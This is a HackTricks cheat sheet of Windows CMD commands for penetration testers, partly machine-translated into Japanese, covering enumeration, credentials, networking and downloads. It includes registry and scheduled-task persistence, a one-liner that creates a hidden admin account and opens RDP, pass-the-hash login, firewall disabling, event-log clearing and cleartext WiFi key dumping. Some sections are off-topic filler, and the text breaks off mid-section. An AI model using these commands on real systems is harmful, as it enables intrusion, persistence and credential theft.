hacktricks/windows-hardening/basic-cmd-for-pentesters.md

2196 lines
107 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# ペンテスターのための基本的なWin CMD
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>
2023-07-07 23:42:27 +00:00
## システム情報
2023-07-07 23:42:27 +00:00
### バージョンとパッチ情報
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
2022-10-05 00:11:28 +00:00
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
2022-10-05 00:11:28 +00:00
wmic qfe list brief #Updates
hostname
2022-10-05 00:11:28 +00:00
DRIVERQUERY #3rd party driver vulnerable?
```
2023-07-07 23:42:27 +00:00
### 環境
```bash
set #List all environment variables
```
2023-07-07 23:42:27 +00:00
以下は強調するいくつかの環境変数です:
2023-07-07 23:42:27 +00:00
* **COMPUTERNAME**: コンピュータの名前
* **TEMP/TMP:** 一時フォルダ
* **USERNAME:** ユーザー名
* **HOMEPATH/USERPROFILE:** ホームディレクトリ
* **windir:** C:\Windows
2023-07-07 23:42:27 +00:00
* **OS**: Windows OS
* **LOGONSERVER**: ドメインコントローラの名前
* **USERDNSDOMAIN**: DNSで使用するドメイン名
* **USERDOMAIN**: ドメインの名前
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
2023-07-07 23:42:27 +00:00
### マウントされたディスク
Mounted disks refer to the additional storage devices that are attached and accessible to a computer system. These disks can be physical hard drives, solid-state drives (SSDs), or virtual disks. When a disk is mounted, it becomes part of the file system hierarchy and can be accessed and used by the operating system and applications.
2023-07-07 23:42:27 +00:00
In Windows, you can view the mounted disks using the `mountvol` command. This command displays a list of all the mounted volumes along with their corresponding volume names and paths. To execute the `mountvol` command, open a Command Prompt window and type:
```plaintext
mountvol
```
2023-07-07 23:42:27 +00:00
The output will show the volume names and paths of the mounted disks. You can also use the `mountvol` command with specific parameters to perform actions such as creating or deleting mount points.
It is important for pentesters to be aware of the mounted disks on a system as they may contain valuable information or provide potential attack vectors. By understanding the mounted disks, pentesters can identify possible targets for further investigation or exploitation.
```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
2020-08-17 14:38:36 +00:00
wmic logicaldisk get caption,description,providername
```
2022-10-05 00:11:28 +00:00
### [Defender](authentication-credentials-uac-and-efs.md#defender)
2023-07-07 23:42:27 +00:00
Windows Defenderは、Windowsオペレーティングシステムに組み込まれたマルウェア対策ソフトウェアです。Windows Defenderは、コンピュータを保護し、悪意のあるソフトウェアやウイルスから守るために使用されます。
2023-07-07 23:42:27 +00:00
### ゴミ箱
ゴミ箱は、Windowsオペレーティングシステムで削除されたファイルを一時的に保存する場所です。ゴミ箱には、誤って削除されたファイルを復元する機能があります。ゴミ箱は、ディスク容量を節約するために定期的に空にすることが推奨されます。
```bash
dir C:\$Recycle.Bin /s /b
```
2023-07-07 23:42:27 +00:00
### プロセス、サービス、ソフトウェア
#### Processes
#### プロセス
To list all running processes, you can use the `tasklist` command:
すべての実行中のプロセスをリストするには、`tasklist` コマンドを使用します。
```plaintext
tasklist
```
To kill a process, you can use the `taskkill` command followed by the process ID (PID):
プロセスを終了するには、`taskkill` コマンドに続けてプロセスIDPIDを指定します。
```plaintext
taskkill /PID <PID>
```
#### Services
#### サービス
To list all running services, you can use the `net start` command:
すべての実行中のサービスをリストするには、`net start` コマンドを使用します。
```plaintext
net start
```
To stop a service, you can use the `net stop` command followed by the service name:
サービスを停止するには、`net stop` コマンドに続けてサービス名を指定します。
```plaintext
net stop <service_name>
```
#### Software
#### ソフトウェア
To list installed software, you can use the `wmic` command with the `product` parameter:
インストールされているソフトウェアをリストするには、`wmic` コマンドに `product` パラメータを使用します。
```plaintext
wmic product get name,version
```
To uninstall software, you can use the `wmic` command with the `product` parameter and the `call uninstall` method:
2023-07-07 23:42:27 +00:00
ソフトウェアをアンインストールするには、`wmic` コマンドに `product` パラメータと `call uninstall` メソッドを使用します。
2023-07-07 23:42:27 +00:00
```plaintext
wmic product where name="<software_name>" call uninstall
```
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
2020-08-17 14:38:36 +00:00
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```
2023-07-07 23:42:27 +00:00
## ドメイン情報
### ドメインの所有者の情報の取得
ドメインの所有者情報を取得するためには、Whoisクエリを使用します。Whoisクエリは、ドメイン名を指定して、そのドメインの登録情報を取得するためのコマンドです。
```plaintext
whois <ドメイン名>
```
### DNSレコードの取得
ドメインのDNSレコードを取得するためには、nslookupコマンドを使用します。nslookupコマンドは、指定したドメイン名に関連するDNS情報を取得するためのコマンドです。
```plaintext
nslookup <ドメイン名>
```
### ドメインのサブドメインの検索
ドメインのサブドメインを検索するためには、dnsenumツールを使用します。dnsenumツールは、指定したドメインに関連するサブドメインを検索するためのツールです。
```plaintext
dnsenum <ドメイン名>
```
2023-07-07 23:42:27 +00:00
### ドメインのIPアドレスの取得
2023-07-07 23:42:27 +00:00
ドメインのIPアドレスを取得するためには、pingコマンドを使用します。pingコマンドは、指定したドメイン名に対してICMPエコーリクエストを送信し、そのドメインのIPアドレスを取得するためのコマンドです。
```plaintext
ping <ドメイン名>
```
### ドメインのポートスキャン
ドメインのポートスキャンを実行するためには、nmapツールを使用します。nmapツールは、指定したドメインに対してポートスキャンを実行し、オープンしているポートを特定するためのツールです。
```plaintext
nmap -p- <ドメイン名>
```
以上がドメイン情報の取得に関する基本的なコマンドです。これらのコマンドを使用することで、ドメインに関する重要な情報を収集することができます。
```bash
2022-10-05 00:11:28 +00:00
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
2022-10-05 00:11:28 +00:00
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
2022-10-05 00:11:28 +00:00
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
2022-10-05 00:11:28 +00:00
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
2023-07-07 23:42:27 +00:00
### ログとイベント
#### Windowsイベントログ
Windowsイベントログは、システムの状態やアクティビティに関する情報を提供する重要なリソースです。以下は、一般的なWindowsイベントログの種類です。
2023-07-07 23:42:27 +00:00
- **Application**: アプリケーションに関連するイベントが記録されます。
- **Security**: セキュリティに関連するイベントが記録されます。
- **System**: システムに関連するイベントが記録されます。
- **Setup**: インストールやアンインストールに関連するイベントが記録されます。
- **Forwarded Events**: リモートコンピュータから転送されたイベントが記録されます。
2023-07-07 23:42:27 +00:00
#### イベントログの表示
イベントログを表示するには、`eventvwr.msc`コマンドを使用します。このコマンドを実行すると、イベントビューアが開き、各イベントログのエントリを表示することができます。
#### イベントログのクリア
イベントログをクリアするには、`wevtutil cl <ログ名>`コマンドを使用します。`<ログ名>`には、クリアしたいイベントログの名前を指定します。
#### イベントログのエクスポート
イベントログをエクスポートするには、`wevtutil epl <ログ名> <出力ファイル名>`コマンドを使用します。`<ログ名>`には、エクスポートしたいイベントログの名前を指定し、`<出力ファイル名>`には、エクスポート先のファイル名を指定します。
#### イベントログのインポート
イベントログをインポートするには、`wevtutil im <ログ名>`コマンドを使用します。`<ログ名>`には、インポートしたいイベントログの名前を指定します。
#### イベントログの削除
イベントログを削除するには、`wevtutil cl <ログ名>`コマンドを使用します。`<ログ名>`には、削除したいイベントログの名前を指定します。
#### イベントログの設定
イベントログの設定を変更するには、`wevtutil sl <ログ名> /e:true`コマンドを使用します。`<ログ名>`には、設定を変更したいイベントログの名前を指定します。
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
2023-07-07 23:42:27 +00:00
## ユーザーとグループ
2023-07-07 23:42:27 +00:00
### ユーザー
```bash
2022-10-05 00:11:28 +00:00
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
2022-10-05 00:11:28 +00:00
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
2022-10-05 00:11:28 +00:00
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
2022-10-05 00:11:28 +00:00
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
2023-07-07 23:42:27 +00:00
### グループ
グループは、Windowsシステムでユーザーを組織化するための重要な要素です。グループには、特定の権限やアクセス許可が割り当てられており、ユーザーをグループに追加することで、そのユーザーにも同じ権限やアクセス許可が与えられます。
#### グループの一覧表示
以下のコマンドを使用して、システム上のすべてのグループを一覧表示することができます。
```plaintext
net localgroup
```
#### グループの作成
新しいグループを作成するには、次のコマンドを使用します。
```plaintext
net localgroup <group_name> /add
```
#### グループへのユーザーの追加
ユーザーを既存のグループに追加するには、次のコマンドを使用します。
```plaintext
net localgroup <group_name> <username> /add
```
#### グループからのユーザーの削除
ユーザーをグループから削除するには、次のコマンドを使用します。
```plaintext
net localgroup <group_name> <username> /delete
```
2023-07-07 23:42:27 +00:00
#### グループの削除
2023-07-07 23:42:27 +00:00
グループを削除するには、次のコマンドを使用します。
```plaintext
net localgroup <group_name> /delete
```
#### グループのメンバーの一覧表示
特定のグループのメンバーを一覧表示するには、次のコマンドを使用します。
```plaintext
net localgroup <group_name>
```
#### グループの権限の確認
特定のグループの権限を確認するには、次のコマンドを使用します。
```plaintext
net localgroup <group_name> /domain
```
```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
2020-11-19 03:16:51 +00:00
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```
2023-07-07 23:42:27 +00:00
### セッションの一覧
2023-07-07 23:42:27 +00:00
To list all active sessions in the command prompt, you can use the following command:
```plaintext
net session
```
2023-07-07 23:42:27 +00:00
This command will display a list of all active sessions on the Windows machine.
2022-05-17 09:34:10 +00:00
```
qwinsta
klist sessions
```
2023-07-07 23:42:27 +00:00
### パスワードポリシー
2023-07-07 23:42:27 +00:00
A password policy is a set of rules and requirements that dictate how passwords should be created and managed within a system. It is an important aspect of security as weak passwords can be easily compromised, leading to unauthorized access and potential data breaches. Here are some common elements of a password policy:
2020-08-17 14:38:36 +00:00
2023-07-07 23:42:27 +00:00
- **Password Length**: Specify the minimum and maximum length of passwords.
- **Complexity**: Require the use of a combination of uppercase and lowercase letters, numbers, and special characters.
- **Expiration**: Set a time limit for password validity, after which users must change their passwords.
- **History**: Prevent users from reusing their previous passwords.
- **Lockout**: Implement a mechanism that locks user accounts after a certain number of failed login attempts.
- **Two-Factor Authentication**: Encourage or enforce the use of an additional authentication factor, such as a token or biometric verification.
- **Education**: Provide guidelines and training to users on creating strong passwords and protecting their accounts.
By implementing a strong password policy, organizations can significantly enhance the security of their systems and protect sensitive information from unauthorized access.
2022-05-17 09:34:10 +00:00
```
2020-08-17 14:38:36 +00:00
net accounts
```
2023-07-07 23:42:27 +00:00
### 資格情報
Credentials (資格情報) は、ユーザーがシステムやアプリケーションにアクセスするための認証情報です。これには、ユーザー名、パスワード、証明書、トークンなどが含まれます。ハッカーは、有効な資格情報を入手することで、システムに不正アクセスすることができます。
以下は、資格情報を入手するための一般的なテクニックです。
2020-08-17 14:38:36 +00:00
2023-07-07 23:42:27 +00:00
#### パスワード攻撃
2022-05-17 09:34:10 +00:00
2023-07-07 23:42:27 +00:00
パスワード攻撃は、ユーザーのパスワードを推測または破解することを目的とした攻撃です。一般的なパスワード攻撃の手法には、辞書攻撃、ブルートフォース攻撃、ハッシュの解読などがあります。
#### ソーシャルエンジニアリング
ソーシャルエンジニアリングは、人々の信頼を悪用して資格情報を入手する手法です。フィッシング、スパイウェア、キーロガーなどが一般的なソーシャルエンジニアリングの手法です。
#### デフォルトの資格情報
システムやアプリケーションには、デフォルトの資格情報が設定されている場合があります。ハッカーは、これらのデフォルトの資格情報を使用してシステムにアクセスすることができます。
#### パスワードリスト
パスワードリストは、一般的なパスワードや一般的なユーザー名の組み合わせのリストです。ハッカーは、パスワードリストを使用してシステムにアクセスすることができます。
#### パスワードマネージャ
パスワードマネージャは、ユーザーが複数のアカウントのパスワードを管理するためのツールです。ハッカーは、パスワードマネージャにアクセスすることで、ユーザーの資格情報を入手することができます。
#### パスワードリセット
パスワードリセットは、ユーザーがパスワードを忘れた場合に使用される手法です。ハッカーは、パスワードリセットのプロセスを悪用して、ユーザーの資格情報を入手することができます。
#### マルウェア
マルウェアは、悪意のあるソフトウェアのことであり、ハッカーはマルウェアを使用してユーザーの資格情報を盗むことができます。
これらのテクニックを理解し、資格情報の保護に努めることが重要です。
2022-05-17 09:34:10 +00:00
```bash
cmdkey /list #List credential
2022-08-14 15:38:08 +00:00
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
2022-05-17 09:34:10 +00:00
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
2023-07-07 23:42:27 +00:00
### ユーザーによる持続性
Persistence is a crucial aspect of maintaining access to a compromised system. By establishing persistence, an attacker ensures that their access to the system remains even after a reboot or other system changes. In this section, we will explore various techniques for achieving persistence with user accounts.
#### Scheduled Tasks
Scheduled tasks are a powerful feature in Windows that allow users to automate the execution of programs or scripts at specific times or events. Attackers can leverage scheduled tasks to maintain persistence on a compromised system.
To create a scheduled task, you can use the `schtasks` command. For example, the following command creates a task named "EvilTask" that runs a malicious script every day at 12:00 PM:
```plaintext
schtasks /create /tn "EvilTask" /tr "C:\path\to\malicious_script.bat" /sc daily /st 12:00
```
To view existing scheduled tasks, you can use the `schtasks /query` command. If you have administrative privileges, you can also modify or delete scheduled tasks using the `schtasks /change` and `schtasks /delete` commands, respectively.
#### Registry Run Keys
The Windows Registry contains several "Run" keys that specify programs or scripts to execute when a user logs in. By adding entries to these keys, an attacker can achieve persistence by executing malicious code every time a user logs in.
The following Registry keys are commonly used for persistence:
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce`
To add an entry to a Run key, you can use the `reg add` command. For example, the following command adds an entry named "EvilScript" that executes a malicious script when a user logs in:
```plaintext
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "EvilScript" /t REG_SZ /d "C:\path\to\malicious_script.bat" /f
```
To remove an entry from a Run key, you can use the `reg delete` command. For example, the following command removes the "EvilScript" entry from the current user's Run key:
```plaintext
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "EvilScript" /f
```
#### Userinit Registry Key
The `Userinit` registry key specifies the programs or scripts to execute when a user logs in. By modifying this key, an attacker can achieve persistence by executing malicious code during the user login process.
The `Userinit` key is located at `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`. The default value of this key is `C:\Windows\System32\Userinit.exe`.
To modify the `Userinit` key, you can use the `reg add` command. For example, the following command modifies the `Userinit` key to execute a malicious script:
```plaintext
reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v "Userinit" /t REG_SZ /d "C:\path\to\malicious_script.bat,C:\Windows\System32\Userinit.exe" /f
```
Remember to separate multiple entries with commas.
2022-05-17 09:34:10 +00:00
2023-07-07 23:42:27 +00:00
To remove the modification and restore the default value of the `Userinit` key, you can use the `reg delete` command. For example, the following command removes the modified `Userinit` key:
2023-07-07 23:42:27 +00:00
```plaintext
reg delete HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v "Userinit" /f
```
#### Conclusion
Persistence with user accounts is a critical technique for maintaining access to a compromised system. By leveraging scheduled tasks and modifying registry keys, an attacker can ensure their continued presence on the system. It is important for defenders to be aware of these techniques and implement appropriate security measures to detect and prevent unauthorized persistence.
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```
2023-07-07 23:42:27 +00:00
## ネットワーク
2023-07-07 23:42:27 +00:00
### インターフェース、ルート、ポート、ホスト、およびDNSキャッシュ
```bash
ipconfig /all #Info about interfaces
route print #Print available routes
2020-08-11 10:48:41 +00:00
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```
2023-07-07 23:42:27 +00:00
### ファイアウォール
2023-07-07 23:42:27 +00:00
A firewall is a network security device that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices or software programs.
2023-07-07 23:42:27 +00:00
ファイアウォールは、事前に設定されたセキュリティルールに基づいて、ネットワークトラフィックの入出力を監視および制御するネットワークセキュリティデバイスです。信頼された内部ネットワークとインターネットなどの信頼されていない外部ネットワークの間にバリアを設けます。ファイアウォールはハードウェアデバイスまたはソフトウェアプログラムとして実装することができます。
```bash
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
2022-10-05 00:11:28 +00:00
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
2023-07-07 23:42:27 +00:00
netsh firewall add portopening TCP 3389 "Remote Desktop"
2022-10-05 00:11:28 +00:00
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
2022-10-05 00:11:28 +00:00
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
2023-07-07 23:42:27 +00:00
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```
### 共有
Shares共有は、ネットワーク上でファイルやリソースを共有するための機能です。Windowsシステムでは、共有フォルダや共有プリンタなどの形で利用されます。
#### 共有の一覧表示
以下のコマンドを使用して、システム上の共有を一覧表示することができます。
```plaintext
net share
```
#### 共有の作成
新しい共有を作成するには、以下のコマンドを使用します。
```plaintext
net share <共有名>=<共有パス> [/GRANT:<ユーザー>:<アクセス権>]
```
共有名は、作成する共有の名前を指定します。共有パスは、共有するフォルダのパスを指定します。オプションとして、`/GRANT`を使用してユーザーにアクセス権を付与することもできます。
#### 共有の削除
既存の共有を削除するには、以下のコマンドを使用します。
```plaintext
net share <共有名> /DELETE
```
共有名は、削除する共有の名前を指定します。
#### 共有へのアクセス
共有へのアクセス権を確認するには、以下のコマンドを使用します。
```plaintext
net share <共有名>
```
共有名は、確認する共有の名前を指定します。
```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
### Wifi
### ワイヤレスネットワーク
#### View Available Networks
#### 利用可能なネットワークの表示
To view the list of available wireless networks, use the following command:
利用可能なワイヤレスネットワークのリストを表示するには、次のコマンドを使用します。
```bash
netsh wlan show networks
```
#### Connect to a Network
#### ネットワークへの接続
To connect to a wireless network, use the following command:
ワイヤレスネットワークに接続するには、次のコマンドを使用します。
```bash
netsh wlan connect name="NetworkName"
```
Replace "NetworkName" with the name of the network you want to connect to.
"NetworkName" を接続したいネットワークの名前に置き換えてください。
#### Disconnect from a Network
#### ネットワークからの切断
To disconnect from a wireless network, use the following command:
ワイヤレスネットワークから切断するには、次のコマンドを使用します。
```bash
netsh wlan disconnect
```
#### View Network Interface Information
#### ネットワークインターフェース情報の表示
To view information about your network interfaces, use the following command:
ネットワークインターフェースに関する情報を表示するには、次のコマンドを使用します。
```bash
netsh wlan show interfaces
```
This will display details such as the interface name, state, and SSID.
これにより、インターフェース名、状態、およびSSIDなどの詳細が表示されます。
#### View Saved Network Profiles
#### 保存されたネットワークプロファイルの表示
To view the saved network profiles on your system, use the following command:
システムに保存されたネットワークプロファイルを表示するには、次のコマンドを使用します。
```bash
netsh wlan show profiles
```
#### Delete a Saved Network Profile
#### 保存されたネットワークプロファイルの削除
To delete a saved network profile, use the following command:
保存されたネットワークプロファイルを削除するには、次のコマンドを使用します。
```bash
netsh wlan delete profile name="ProfileName"
```
Replace "ProfileName" with the name of the profile you want to delete.
"ProfileName" を削除したいプロファイルの名前に置き換えてください。
```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```
### SNMP
SNMPSimple Network Management Protocolは、ネットワークデバイスの管理と監視に使用されるプロトコルです。SNMPは、ネットワーク上のデバイスの情報を収集し、管理者に通知するために使用されます。SNMPは、デバイスの状態、トラフィックの統計、エラーメッセージなどの情報を取得するために使用されます。
SNMPは、エージェントとマネージャの間で通信を行います。エージェントは、監視対象のデバイスにインストールされ、デバイスの情報を収集し、マネージャに送信します。マネージャは、エージェントからの情報を受け取り、必要な処理を行います。
SNMPには、バージョン1、バージョン2c、バージョン3の3つのバージョンがあります。バージョン1とバージョン2cはセキュリティ機能が制限されており、パスワードなどの情報が平文で送信されるため、セキュリティ上のリスクがあります。バージョン3は、セキュリティ機能が強化されており、暗号化や認証などの機能がサポートされています。
SNMPは、ネットワークデバイスの管理と監視に便利なプロトコルですが、セキュリティ上のリスクも存在します。攻撃者は、SNMPを悪用してデバイスに侵入したり、情報を盗んだりすることができます。したがって、SNMPのセキュリティ設定を適切に行うことが重要です。
```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```
### ネットワークインターフェース
Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow computers to connect to a network. They provide the necessary physical connection between the computer and the network, enabling communication between devices.
ネットワークインターフェース、またはネットワークアダプターまたはNICネットワークインターフェースカードとも呼ばれるものは、コンピュータがネットワークに接続するためのハードウェアデバイスです。これらはコンピュータとネットワークの間の物理的な接続を提供し、デバイス間の通信を可能にします。
In Windows, you can view and manage network interfaces using the `ipconfig` command. This command displays information about all network interfaces on the system, including their IP addresses, subnet masks, and default gateways.
Windowsでは、`ipconfig`コマンドを使用してネットワークインターフェースを表示および管理することができます。このコマンドは、システム上のすべてのネットワークインターフェースに関する情報を表示します。IPアドレス、サブネットマスク、デフォルトゲートウェイなどが含まれます。
To view the network interfaces, open a command prompt and type `ipconfig`. The output will show a list of network interfaces along with their details.
ネットワークインターフェースを表示するには、コマンドプロンプトを開き、`ipconfig`と入力します。出力には、ネットワークインターフェースの一覧と詳細が表示されます。
You can also use the `netsh` command to manage network interfaces. This command provides more advanced options for configuring and troubleshooting network settings.
ネットワークインターフェースを管理するためには、`netsh`コマンドも使用できます。このコマンドは、ネットワーク設定の構成やトラブルシューティングにより高度なオプションを提供します。
Understanding network interfaces is essential for network troubleshooting and configuring network settings. By knowing how to view and manage network interfaces, you can effectively diagnose and resolve network connectivity issues.
```bash
ipconfig /all
```
### ARPテーブル
ARPAddress Resolution Protocolテーブルは、ネットワークデバイスにおいて、IPアドレスとMACアドレスの対応関係を保持するテーブルです。ARPテーブルは、ネットワーク通信時にIPアドレスからMACアドレスを解決するために使用されます。
ARPテーブルの表示方法は、Windowsコマンドプロンプトで次のコマンドを実行します。
```plaintext
arp -a
```
このコマンドを実行すると、現在のARPテーブルが表示されます。各エントリには、IPアドレス、MACアドレス、およびインターフェースの情報が含まれています。
ARPテーブルは、ネットワーク攻撃やセキュリティ侵害の検出に役立つ情報を提供します。攻撃者は、ARPスプーフィングやARPキャッシュポイズニングなどの攻撃手法を使用して、ARPテーブルを悪用することがあります。したがって、ARPテーブルの定期的な監視と適切なセキュリティ対策が重要です。
```bash
arp -A
```
## ダウンロード
Bitsadmin.exe
```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```
# CertReq.exe
CertReq.exe is a command-line tool in Windows that is used for certificate enrollment and management. It allows you to create and submit certificate requests, retrieve and install certificates, and perform various operations related to certificates.
## Syntax
```
certreq [Options] [ConfigFile | RequestFile | -New RequestString]
```
## Options
